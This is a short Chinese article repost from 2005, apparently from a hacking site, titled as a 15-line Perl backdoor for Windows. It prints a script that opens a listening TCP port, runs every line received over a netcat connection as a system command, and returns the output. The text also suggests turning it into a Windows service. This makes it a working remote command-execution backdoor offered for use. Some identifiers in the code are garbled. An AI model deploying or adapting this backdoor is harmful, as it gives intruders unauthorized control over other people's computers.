用15行perl打造win32下的简易后门

2005-2-21 06:33 624 0

摘要: 作者：python　　http://www.nohack.cn/ 用nc连，使用了简易的管道命令（``）使之能执行基本的系统命令，有兴趣的朋友可以添加、修改一下，做出更多东西，谁有空建议用win32...

关键词： nbsp Socket buffer 命令一下 new while exit port 简易

作者：python　　http://www.nohack.cn/ 用nc连，使用了简易的管道命令（``）使之能执行基本的系统命令，有兴趣的朋友可以添加、修改一下，做出更多东西，谁有空建议用win32模块给他系统化一下，再用perlsvc做个服务啥的 #!/usr/bin/perluse I:Socket; $port = $ARGV[0];my $socket = new I:Socket::INET ( 'Localhost'=>'127.0.0.1' , 'LocalPort'=>$port , 'Listen'=>1 , 'Proto'=>'tcp' , 'Reuse'=>1 );die "Reason: $!" unless $socket; while (my $new_socket = $socket->accept()) { while (my $buffer=<$new_socket> ){ if ($buffer=~/exit/) {exit;} $res_msg=`$buffer`; print $new_socket $res_msg."\n";}}

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除